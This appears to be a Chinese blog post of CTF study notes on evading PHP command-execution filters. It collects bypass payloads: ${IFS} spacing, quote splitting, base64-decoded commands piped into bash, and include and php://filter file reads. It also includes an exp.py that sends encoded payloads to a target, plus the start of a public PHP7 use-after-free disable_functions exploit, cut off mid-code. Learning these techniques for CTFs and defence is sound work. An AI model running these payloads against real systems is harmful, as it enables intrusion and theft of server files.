{"id":253,"date":"2021-08-01T14:31:57","date_gmt":"2021-08-01T06:31:57","guid":{"rendered":"http:\/\/101.34.19.194\/?p=253"},"modified":"2021-08-01T14:31:59","modified_gmt":"2021-08-01T06:31:59","slug":"%e5%91%bd%e4%bb%a4%e6%89%a7%e8%a1%8c%e7%bb%95%e8%bf%87","status":"publish","type":"post","link":"http:\/\/101.34.19.194\/?p=253","title":{"rendered":"\u547d\u4ee4\u6267\u884c\u7ed5\u8fc7"},"content":{"rendered":"\n<h2 class=\"wp-block-heading\">\u901a\u914d\u7b26<\/h2>\n\n\n\n<p>\u5728linux\u7cfb\u7edf\u4e2d \u6709\u4e00\u4e9b\u901a\u914d\u7b26<\/p>\n\n\n\n<ul><li>\u5339\u914d\u4efb\u4f55\u5b57\u7b26\u4e32\uff0f\u6587\u672c\uff0c\u5305\u62ec\u7a7a\u5b57\u7b26\u4e32\uff1b*\u4ee3\u8868\u4efb\u610f\u5b57\u7b26\uff080\u4e2a\u6216\u591a\u4e2a\uff09 ls file * ? \u5339\u914d\u4efb\u4f55\u4e00\u4e2a\u5b57\u7b26\uff08\u4e0d\u5728\u62ec\u53f7\u5185\u65f6\uff09?\u4ee3\u8868\u4efb\u610f1\u4e2a\u5b57\u7b26 ls file 0 [abcd] \u5339\u914dabcd\u4e2d\u4efb\u4f55\u4e00\u4e2a\u5b57\u7b26 [a-z] \u8868\u793a\u8303\u56f4a\u5230z\uff0c\u8868\u793a\u8303\u56f4\u7684\u610f\u601d []\u5339\u914d\u4e2d\u62ec\u53f7\u4e2d\u4efb\u610f\u4e00\u4e2a\u5b57\u7b26 ls file 0<\/li><\/ul>\n\n\n\n<h2 class=\"wp-block-heading\">\u6267\u884c\u547d\u4ee4\u7684\u51fd\u6570<\/h2>\n\n\n\n<pre class=\"wp-block-preformatted\">system()<br>passthru()<br>exec()<br>shell_exec()<br>popen()<br>proc_open()<br>pcntl_exec()<br>\u53cd\u5f15\u53f7 \u540cshell_exec() <\/pre>\n\n\n\n<p>\u8fd9\u91cc\u9700\u8981\u6ce8\u610f\u4e00\u4e0b\uff0c\u53ea\u6709system\u51fd\u6570\u662f\u6709\u56de\u663e\u7684\uff0c\u5176\u4ed6\u7684\u51fd\u6570\u53ef\u4ee5\u901a\u8fc7echo\u7b49\u663e\u793a<\/p>\n\n\n\n<p>\u4f8b\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">c=echo `cat f*`;<\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">\u7a7a\u683c\u7ed5\u8fc7<\/h2>\n\n\n\n<pre class=\"wp-block-preformatted\">&gt; &lt; &lt;&gt; \u91cd\u5b9a\u5411\u7b26<br>%09(\u9700\u8981php\u73af\u5883)<br>${IFS}<br>$IFS$9<br>{cat,flag.php} \/\/\u7528\u9017\u53f7\u5b9e\u73b0\u4e86\u7a7a\u683c\u529f\u80fd<br>%20 (Space)<br>%09 (Tab)<\/pre>\n\n\n\n<p>\u5982\u679c&lt;&gt;\u4e5f\u88ab\u8fc7\u6ee4\uff0c\u53ef\u4ee5\u4f7f\u7528$IFS\uff0c\u8fd9\u662f\u5728shell\u4e2d\u5b9a\u4e49\u7684\u73af\u5883\u53d8\u91cf\u7528\u4e8e\u5185\u90e8\u5b57\u6bb5\u5206\u9694\u7b26\uff0c\u4e3e\u4f8b\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">?c=nl${IFS}fla\\g.php%0a<\/pre>\n\n\n\n<p>\u5982\u679c\u8fc7\u6ee4\u7684\u5f88\u7b80\u5355\uff0c\u901a\u914d\u7b26\u53cd\u5f15\u53f7\uff08`\uff09\u5c31\u591f\u7528\u4e86\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">?c=cat`flag.php`;<\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">cat\u88ab\u8fc7\u6ee4<\/h2>\n\n\n\n<pre class=\"wp-block-preformatted\">more:\u4e00\u9875\u4e00\u9875\u7684\u663e\u793a\u6863\u6848\u5185\u5bb9<br>less:\u4e0e more \u7c7b\u4f3c <br>head:\u67e5\u770b\u5934\u51e0\u884c<br>tac:\u4ece\u6700\u540e\u4e00\u884c\u5f00\u59cb\u663e\u793a\uff0c\u53ef\u4ee5\u770b\u51fatac\u662fcat \u7684\u53cd\u5411\u663e\u793a<br>tail:\u67e5\u770b\u5c3e\u51e0\u884c<br>nl\uff1a\u663e\u793a\u7684\u65f6\u5019\uff0c\u987a\u4fbf\u8f93\u51fa\u884c\u53f7<br>od:\u4ee5\u4e8c\u8fdb\u5236\u7684\u65b9\u5f0f\u8bfb\u53d6\u6863\u6848\u5185\u5bb9<br>vi:\u4e00\u79cd\u7f16\u8f91\u5668\uff0c\u8fd9\u4e2a\u4e5f\u53ef\u4ee5\u67e5\u770b<br>vim:\u4e00\u79cd\u7f16\u8f91\u5668\uff0c\u8fd9\u4e2a\u4e5f\u53ef\u4ee5\u67e5\u770b<br>sort:\u53ef\u4ee5\u67e5\u770b<br>uniq:\u53ef\u4ee5\u67e5\u770b <br>file -f:\u62a5\u9519\u51fa\u5177\u4f53\u5185\u5bb9 <br>grep<br>\u5728\u5f53\u524d\u76ee\u5f55\u4e2d\uff0c\u67e5\u627e\u540e\u7f00\u6709 file \u5b57\u6837\u7684\u6587\u4ef6\u4e2d\u5305\u542b test \u5b57\u7b26\u4e32\u7684\u6587\u4ef6\uff0c\u5e76\u6253\u5370\u51fa\u8be5\u5b57\u7b26\u4e32\u7684\u884c\u3002\u6b64\u65f6\uff0c\u53ef\u4ee5\u4f7f\u7528\u5982\u4e0b\u547d\u4ee4\uff1a grep test *file strings<\/pre>\n\n\n\n<p>grep\u7528\u6cd5\uff1agrep &#8216;{&#8216; flag.php<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/gitee.com\/hermitaria\/blogimagee\/raw\/master\/20210801142921.jpeg'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/gitee.com\/hermitaria\/blogimagee\/raw\/master\/20210801142921.jpeg\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"img\"\/><\/div><\/figure>\n\n\n\n<pre class=\"wp-block-preformatted\">c=echo(`tac%09fl[abc]*`);  \/\/%09\u4e3a\u7a7a\u683c<\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">\u62ec\u53f7\u88ab\u8fc7\u6ee4<\/h2>\n\n\n\n<p>\u65e0\u9700\u62ec\u53f7\u7684\u51fd\u6570<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>```php<br>&lt;?php<br>echo 666;<br>print 666<br>die;<br>include \"\/etc\/passwd\";<br>require \"\/etc\/passwd\";<br>include_once \"\/etc\/passwd\";<br>require_once \"\/etc\/passwd\";<\/code><\/pre>\n\n\n\n<p>\u4f8b<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>c=include $_GET&#91;1]?&gt;&amp;1=php:\/\/filter\/read=convert.base64-encode\/resource=flag.php<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">\u9ed1\u540d\u5355\u7ed5\u8fc7<\/h2>\n\n\n\n<p>\u62fc\u63a5<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">a=c;b=at;c=fl;d=ag;$a$b $c$d<\/pre>\n\n\n\n<p>base64\u7f16\u7801<\/p>\n\n\n\n<blockquote class=\"wp-block-quote\"><p><code>echo \"Y2F0IGZsYWc=\"|base64 -d<\/code> <code>echo \"Y2F0IGZsYWc=\"|base64 -d|bash<\/code> (\u5728bash\u88ab\u8fc7\u6ee4\u7684\u60c5\u51b5\u4e0b\u53ef\u5c1d\u8bd5sh)<\/p><\/blockquote>\n\n\n\n<p>\u5355\u5f15\u53f7\u3001\u53cc\u5f15\u53f7<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">c\"\"at fl''ag<\/pre>\n\n\n\n<p>\u53cd\u659c\u7ebf<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">c\\at fl\\ag<\/pre>\n\n\n\n<p>\u6b63\u5219 (\u5047\u8bbe\/bin\/cat: test: \u662f\u4e00\u4e2a\u76ee\u5f55)<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">\/???\/?[a][t] ?''?''?''?''`\n`\/???\/?at ????`\n`\/???\/?[a]''[t] ?''?''?''?''<\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">\u5229\u7528ls -t\u548c&gt;\u4ee5\u53ca\u6362\u884c\u7b26\u7ed5\u8fc7\u957f\u5ea6\u9650\u5236\u6267\u884c\u547d\u4ee4(\u6587\u4ef6\u6784\u9020\u7ed5\u8fc7)<\/h2>\n\n\n\n<pre class=\"wp-block-code\"><code>root@kali:~\/\u684c\u9762# echo \"flag{hahaha}\" &gt; flag.txt\nroot@kali:~\/\u684c\u9762# touch \"ag\"\nroot@kali:~\/\u684c\u9762# touch \"fl\\\\\"\nroot@kali:~\/\u684c\u9762# touch \"t \\\\\"\nroot@kali:~\/\u684c\u9762# touch \"ca\\\\\"\nroot@kali:~\/\u684c\u9762# ls -t\n'ca\\'  't \\'  'fl\\'   ag   flag\nroot@kali:~\/\u684c\u9762# ls -t &gt;a     #\u5c06 ls -t \u5185\u5bb9\u5199\u5165\u5230a\u6587\u4ef6\u4e2d\nroot@kali:~\/\u684c\u9762# sh a\na: 1: a: not found\nflag{hahaha}\na: 6: flag.txt: not found<\/code><\/pre>\n\n\n\n<blockquote class=\"wp-block-quote\"><p><code>\\<\/code>\u662f\u6307\u6362\u884c <code>ls -t<\/code>\u5c06\u6587\u4ef6\u6309\u65f6\u95f4\u6392\u5e8f\u8f93\u51fa <code>sh<\/code>\u547d\u4ee4\u53ef\u4ee5\u4ece\u4e00\u4e2a\u6587\u4ef6\u4e2d\u8bfb\u53d6\u547d\u4ee4\u6765\u6267\u884c<\/p><\/blockquote>\n\n\n\n<h2 class=\"wp-block-heading\">\u6216\u8fd0\u7b97\u7ed5\u8fc7<\/h2>\n\n\n\n<blockquote class=\"wp-block-quote\"><p>\u8f6c\u7fbd\u5e08\u5085\u7684\u535a\u5ba2\uff1a<a href=\"https:\/\/blog.csdn.net\/miuzzx\/article\/details\/108569080\">ctfshow web\u5165\u95e8 web41_\u7fbd\u7684\u535a\u5ba2-CSDN\u535a\u5ba2<\/a><\/p><\/blockquote>\n\n\n\n<p>\u8fd9\u4e2a\u9898\u8fc7\u6ee4\u4e86<code>$\u3001+\u3001-\u3001^\u3001~<\/code>\u4f7f\u5f97\u5f02\u6216\u81ea\u589e\u548c\u53d6\u53cd\u6784\u9020\u5b57\u7b26\u90fd\u65e0\u6cd5\u4f7f\u7528\uff0c\u540c\u65f6\u8fc7\u6ee4\u4e86\u5b57\u6bcd\u548c\u6570\u5b57\u3002\u4f46\u662f\u7279\u610f\u7559\u4e86\u4e2a\u6216\u8fd0\u7b97\u7b26<code>|<\/code><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;?php<br>if(isset($_POST&#91;'c'])){<br> &nbsp; &nbsp;$c = $_POST&#91;'c'];<br>if(!preg_match('\/&#91;0-9]|&#91;a-z]|\\^|\\+|\\~|\\$|\\&#91;|\\]|\\{|\\}|\\&amp;|\\-\/i', $c)){<br> &nbsp; &nbsp; &nbsp; &nbsp;eval(\"echo($c);\");<br> &nbsp;  }<br>}else{<br> &nbsp; &nbsp;highlight_file(__FILE__);<br>}<br>?&gt;<\/code><\/pre>\n\n\n\n<p>\u6211\u4eec\u53ef\u4ee5\u5c1d\u8bd5\u4eceascii\u4e3a0-255\u7684\u5b57\u7b26\u4e2d\uff0c\u627e\u5230\u6216\u8fd0\u7b97\u80fd\u5f97\u5230\u6211\u4eec\u53ef\u7528\u7684\u5b57\u7b26\u7684\u5b57\u7b26\u3002 \u8fd9\u91cc\u5148\u7ed9\u51fa\u4e24\u4e2a\u811a\u672c exp.py rce_or.php\uff0c\u5927\u5bb6\u4ee5\u540e\u78b0\u5230\u53ef\u4ee5\u4f7f\u7528\u6216\u8fd0\u7b97\u7ed5\u8fc7\u7684\u53ef\u4ee5\u81ea\u5df1\u624b\u52a8\u4fee\u6539\u4e0b\u5373\u53ef\u3002 <code>\u751f\u6210\u53ef\u7528\u5b57\u7b26\u7684\u96c6\u5408<\/code><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;?php<br>$myfile = fopen(\"rce_or.txt\", \"w\");<br>$contents=\"\";<br>for ($i=0; $i &lt; 256; $i++) { <br>    for ($j=0; $j &lt;256 ; $j++) { <br>\u200b<br>        if($i&lt;16){<br>            $hex_i='0'.dechex($i);<br>        }<br>        else{<br>            $hex_i=dechex($i);<br>        }<br>        if($j&lt;16){<br>            $hex_j='0'.dechex($j);<br>        }<br>        else{<br>            $hex_j=dechex($j);<br>        }<br>        $preg = '\/&#91;0-9]|&#91;a-z]|\\^|\\+|\\~|\\$|\\&#91;|\\]|\\{|\\}|\\&amp;|\\-\/i';<br>        if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){<br>                    echo \"\";<br> &nbsp;  }<br> &nbsp;<br>        else{<br>        $a='%'.$hex_i;<br>        $b='%'.$hex_j;<br>        $c=(urldecode($a)|urldecode($b));<br>        if (ord($c)&gt;=32&amp;ord($c)&lt;=126) {<br>            $contents=$contents.$c.\" \".$a.\" \".$b.\"\\n\";<br>        }<br>    }<br>\u200b<br>}<br>}<br>fwrite($myfile,$contents);<br>fclose($myfile);<br>\u200b<\/code><\/pre>\n\n\n\n<p>\u5927\u4f53\u610f\u601d\u5c31\u662f<code>\u4ece\u8fdb\u884c\u5f02\u6216\u7684\u5b57\u7b26\u4e2d\u6392\u9664\u6389\u88ab\u8fc7\u6ee4\u7684\uff0c\u7136\u540e\u5728\u5224\u65ad\u5f02\u6216\u5f97\u5230\u7684\u5b57\u7b26\u662f\u5426\u4e3a\u53ef\u89c1\u5b57\u7b26<\/code> \u4f20\u9012\u53c2\u6570getflag \u7528\u6cd5 <code>python exp.py &lt;url&gt;<\/code><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code># -*- coding: utf-8 -*-<br>import requests<br>import urllib<br>from sys import *<br>import os<br>os.system(\"php rce_or.php\") &nbsp;#\u6ca1\u6709\u5c06php\u5199\u5165\u73af\u5883\u53d8\u91cf\u9700\u624b\u52a8\u8fd0\u884c<br>if(len(argv)!=2):<br> &nbsp; print(\"=\"*50)<br> &nbsp; print('USER\uff1apython exp.py &lt;url&gt;')<br> &nbsp; print(\"eg\uff1a  python exp.py http:\/\/ctf.show\/\")<br> &nbsp; print(\"=\"*50)<br> &nbsp; exit(0)<br>url=argv&#91;1]<br>def action(arg):<br> &nbsp; s1=\"\"<br> &nbsp; s2=\"\"<br> &nbsp; for i in arg:<br> &nbsp; &nbsp; &nbsp; f=open(\"rce_or.txt\",\"r\")<br> &nbsp; &nbsp; &nbsp; while True:<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; t=f.readline()<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if t==\"\":<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; break<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if t&#91;0]==i:<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; #print(i)<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; s1+=t&#91;2:5]<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; s2+=t&#91;6:9]<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; break<br> &nbsp; &nbsp; &nbsp; f.close()<br> &nbsp; output=\"(\\\"\"+s1+\"\\\"|\\\"\"+s2+\"\\\")\"<br> &nbsp; return(output)<br> &nbsp; <br>while True:<br> &nbsp; param=action(input(\"\\n&#91;+] your function\uff1a\") )+action(input(\"&#91;+] your command\uff1a\"))<br> &nbsp; data={<br> &nbsp; &nbsp; &nbsp; 'c':urllib.parse.unquote(param)<br> &nbsp; &nbsp; &nbsp; }<br> &nbsp; r=requests.post(url,data=data)<br> &nbsp; print(\"\\n&#91;*] result:\\n\"+r.text)<br>\u200b<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">disable function\u7ed5\u8fc7<\/h2>\n\n\n\n<blockquote class=\"wp-block-quote\"><p>\u8f6c<a href=\"https:\/\/blog.csdn.net\/miuzzx\/article\/details\/108619930?spm=1001.2014.3001.5501\">ctfshow web\u5165\u95e858-77\u7ed5\u8fc7disable function_\u7fbd\u7684\u535a\u5ba2-CSDN\u535a\u5ba2<\/a><\/p><\/blockquote>\n\n\n\n<pre class=\"wp-block-code\"><code>\u901a\u8fc7\u590d\u5236\uff0c\u91cd\u547d\u540d\u8bfb\u53d6php\u6587\u4ef6\u5185\u5bb9\uff08\u51fd\u6570\u6267\u884c\u540e\uff0c\u8bbf\u95eeurl\/flag.txt\uff09<br>\u51fd\u6570\uff1a<br>copy()<br>rename()<br>\u7528\u6cd5\uff1a<br>copy(\"flag.php\",\"flag.txt\"); &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; \/\/\u8fc760<br>rename(\"flag.php\",\"flag.txt\"); &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; \/\/\u8fc760<\/code><\/pre>\n\n\n\n<pre class=\"wp-block-code\"><code>\u5355\u4e00\u51fd\u6570\u8bfb\u6587\u4ef6\u5185\u5bb9\uff1a<br>\u51fd\u6570\uff1a<br>file_get_contents()<br>readfile()<br>file()<br>\u7528\u6cd5\uff1a<br>echo file_get_contents(\"flag.php\"); &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; \/\/\u8fc758<br>readfile(\"flag.php\"); &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; \/\/\u8fc758<br>print_r(file(\"flag.php\")); &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  \/\/\u8fc759<\/code><\/pre>\n\n\n\n<pre class=\"wp-block-code\"><code>\u901a\u8fc7fopen\u8bfb\u6587\u4ef6\u5185\u5bb9\uff1a<br>\u51fd\u6570\uff1a<br>fread()<br>fgets()<br>fgetc()<br>fgetss()<br>fgetcsv()<br>gpassthru()<br>\u7528\u6cd5\uff1a<br>$a=fopen(\"flag.php\",\"r\");while (!feof($a)) {$line = fgetss($a);echo $line;} &nbsp; &nbsp; &nbsp; \/\/php7.3\u7248\u672c\u540e \u8be5\u51fd\u6570\u5df2\u4e0d\u518d\u88ab\u4f7f\u7528<br>$a=fopen(\"flag.php\",\"r\");echo fpassthru($a); &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  \/\/\u8fc759<br>$a=fopen(\"flag.php\",\"r\");echo fread($a,\"1000\"); &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; \/\/\u8fc759<br>$a=fopen(\"flag.php\",\"r\");while (!feof($a)) {$line = fgets($a);echo $line;} &nbsp; &nbsp; &nbsp;  \/\/\u8fc759<br>$a=fopen(\"flag.php\",\"r\");while (!feof($a)) {$line = fgetc($a);echo $line;} &nbsp; &nbsp; &nbsp;  \/\/\u8fc760<br>$a=fopen(\"flag.php\",\"r\");while (!feof($a)) {$line = fgetcsv($a);print_r($line);}  \/\/\u8fc760<\/code><\/pre>\n\n\n\n<pre class=\"wp-block-code\"><code>\u9ad8\u4eae\u663e\u793aphp\u6587\u4ef6<br>\u51fd\u6570<br>show_source()<br>highlight_file()<br>\u7528\u6cd5\uff1a<br>show_source(\"flag.php\"); &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  \/\/\u8fc765  \u6b64\u540e\u9700\u5148\u626b\u63cf\u76ee\u5f55<br>highlight_file(\"flag.php\"); &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; \/\/\u8fc765<\/code><\/pre>\n\n\n\n<pre class=\"wp-block-code\"><code>flag\u4e0d\u5728flag.php\u4e2d,\u9700\u8981\u5148\u67e5\u627eflag\u6240\u5728\u7684\u4f4d\u7f6e<br>scandir()<br>opendir()<br>\u7528\u6cd5<br>c=var_dump(scandir(\"\/\"));highlight_file(\"\/flag.txt\"); &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; \/\/\u8fc766-67<br>c=$a=opendir(\"\/\"); while (($file = readdir($a)) !== false){echo $file . \"&lt;br&gt;\"; };highlight_file(\"\/flag.txt\");  \/\/\u8fc766-67<\/code><\/pre>\n\n\n\n<pre class=\"wp-block-code\"><code>\u540e\u9762\u56e0\u4e3a\u662ftxt\u6587\u4ef6\uff0c\u6240\u4ee5\u76f4\u63a5\u7528include\u76f4\u63a5\u5305\u542b\u5c31\u80fd\u663e\u793aflag<br>include()<br>require()<br>\u7528\u6cd5\uff1a<br>include(\"\/flag.txt\");  \/\/\u8fc766-70<br>require(\"\/flag.txt\");  \/\/\u8fc766-70<\/code><\/pre>\n\n\n\n<pre class=\"wp-block-code\"><code>\u7ed5\u8fc7$s = ob_get_contents();<br> &nbsp; &nbsp; &nbsp;  ob_end_clean();<br> &nbsp; &nbsp; &nbsp;  echo preg_replace(\"\/&#91;0-9]|&#91;a-z]\/i\",\"?\",$s);<br>\u76f4\u63a5\u540e\u9762\u8f93\u5165 exit();\u5373\u53ef<br>\u7528\u6cd5<br>include(\"\/flag.txt\");exit();  \/\/\u8fc771<br>require(\"\/flag.txt\");exit();  \/\/\u8fc771<br>echo(scandir(\"\/\")&#91;6]);include(\"\/flagc.txt\");exit();  \/\/\u8fc773<br>$a=opendir(\"\/\"); while (($file = readdir($a)) !== false){echo $file . \"&lt;br&gt;\"; };include(\"flagx.txt\");exit();  \/\/\u8fc774<\/code><\/pre>\n\n\n\n<pre class=\"wp-block-code\"><code>glob\u534f\u8bae\u626b\u63cf\u76ee\u5f55\u4e0b\u6587\u4ef6(\u5f53var_dump\u88ab\u7981\u7528)\/\/glob:\/\/\/*\u662fglob:\/\/\u534f\u8bae &nbsp; \/*\u662f\u6839\u76ee\u5f55\u4e0b\u6240\u6709\u6587\u4ef6<br>\u200b<br>c=$a=\"glob:\/\/\/*.txt\";if($b=opendir($a)){    <br>  while(($file=readdir($b))!==false){       <br>  echo \"filename:\",$file.\"\\n\";  <br>}   <br>closedir($b);<br>}<br>exit();\/\/\u627e\u6839\u76ee\u5f55\u4e0b.txt\u7ed3\u5c3e\u7684\u6587\u4ef6<br>\u200b<br>c=?&gt;&lt;?php   <br>$a=new DirectoryIterator(\"glob:\/\/\/*\");<br>foreach($a as $f){echo($f-&gt;__toString().' ');}<br>exit(0);?&gt; \/\/\u76f8\u5f53\u4e8els\u6839\u76ee\u5f55\u4e0b\u6240\u6709\u6587\u4ef6<\/code><\/pre>\n\n\n\n<pre class=\"wp-block-code\"><code>\u7ed5\u8fc7open_basedir<br>\/\/\u53ef\u7ed572\u7684\u76ee\u5f55\u9650\u5236,\u4f46\u65e0\u6cd5\u8bfb\u6587\u4ef6<br>$a=opendir(\"glob:\/\/\/*\"); while (($file = readdir($a)) !== false){echo $file . \"&lt;br&gt;\"; };include(\"flagx.txt\");exit(); <br>\u200b<br>\/\/\u53ef\u7ed572\uff0c\u5229\u7528uaf\u7ed5\u8fc7\u51fd\u6570\u9650\u5236 (\u4f20\u5165\u540e\u9700url\u7f16\u7801\u4e0b)<br>\u4ee3\u7801\u6765\u6e90(https:\/\/github.com\/mm0r1\/exploits\/tree\/master\/php7-backtrace-bypass)<br>c=function ctfshow($cmd) {<br> &nbsp;  global $abc, $helper, $backtrace;<br>\u200b<br> &nbsp;  class Vuln {<br> &nbsp; &nbsp; &nbsp;  public $a;<br> &nbsp; &nbsp; &nbsp;  public function __destruct() { <br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  global $backtrace; <br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  unset($this-&gt;a);<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  $backtrace = (new Exception)-&gt;getTrace();<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  if(!isset($backtrace&#91;1]&#91;'args'])) {<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  $backtrace = debug_backtrace();<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  }<br> &nbsp; &nbsp; &nbsp;  }<br> &nbsp;  }<br>\u200b<br> &nbsp;  class Helper {<br> &nbsp; &nbsp; &nbsp;  public $a, $b, $c, $d;<br> &nbsp;  }<br>\u200b<br> &nbsp;  function str2ptr(&amp;$str, $p = 0, $s = 8) {<br> &nbsp; &nbsp; &nbsp;  $address = 0;<br> &nbsp; &nbsp; &nbsp;  for($j = $s-1; $j &gt;= 0; $j--) {<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  $address &lt;&lt;= 8;<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  $address |= ord($str&#91;$p+$j]);<br> &nbsp; &nbsp; &nbsp;  }<br> &nbsp; &nbsp; &nbsp;  return $address;<br> &nbsp;  }<br>\u200b<br> &nbsp;  function ptr2str($ptr, $m = 8) {<br> &nbsp; &nbsp; &nbsp;  $out = \"\";<br> &nbsp; &nbsp; &nbsp;  for ($i=0; $i &lt; $m; $i++) {<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  $out .= sprintf(\"%c\",($ptr &amp; 0xff));<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  $ptr &gt;&gt;= 8;<br> &nbsp; &nbsp; &nbsp;  }<br> &nbsp; &nbsp; &nbsp;  return $out;<br> &nbsp;  }<br>\u200b<br> &nbsp;  function write(&amp;$str, $p, $v, $n = 8) {<br> &nbsp; &nbsp; &nbsp;  $i = 0;<br> &nbsp; &nbsp; &nbsp;  for($i = 0; $i &lt; $n; $i++) {<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  $str&#91;$p + $i] = sprintf(\"%c\",($v &amp; 0xff));<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  $v &gt;&gt;= 8;<br> &nbsp; &nbsp; &nbsp;  }<br> &nbsp;  }<br>\u200b<br> &nbsp;  function leak($addr, $p = 0, $s = 8) {<br> &nbsp; &nbsp; &nbsp;  global $abc, $helper;<br> &nbsp; &nbsp; &nbsp;  write($abc, 0x68, $addr + $p - 0x10);<br> &nbsp; &nbsp; &nbsp;  $leak = strlen($helper-&gt;a);<br> &nbsp; &nbsp; &nbsp;  if($s != 8) { $leak %= 2 &lt;&lt; ($s * 8) - 1; }<br> &nbsp; &nbsp; &nbsp;  return $leak;<br> &nbsp;  }<br>\u200b<br> &nbsp;  function parse_elf($base) {<br> &nbsp; &nbsp; &nbsp;  $e_type = leak($base, 0x10, 2);<br>\u200b<br> &nbsp; &nbsp; &nbsp;  $e_phoff = leak($base, 0x20);<br> &nbsp; &nbsp; &nbsp;  $e_phentsize = leak($base, 0x36, 2);<br> &nbsp; &nbsp; &nbsp;  $e_phnum = leak($base, 0x38, 2);<br>\u200b<br> &nbsp; &nbsp; &nbsp;  for($i = 0; $i &lt; $e_phnum; $i++) {<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  $header = $base + $e_phoff + $i * $e_phentsize;<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  $p_type  = leak($header, 0, 4);<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  $p_flags = leak($header, 4, 4);<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  $p_vaddr = leak($header, 0x10);<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  $p_memsz = leak($header, 0x28);<br>\u200b<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  if($p_type == 1 &amp;&amp; $p_flags == 6) { <br>\u200b<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  $data_size = $p_memsz;<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  } else if($p_type == 1 &amp;&amp; $p_flags == 5) { <br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  $text_size = $p_memsz;<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  }<br> 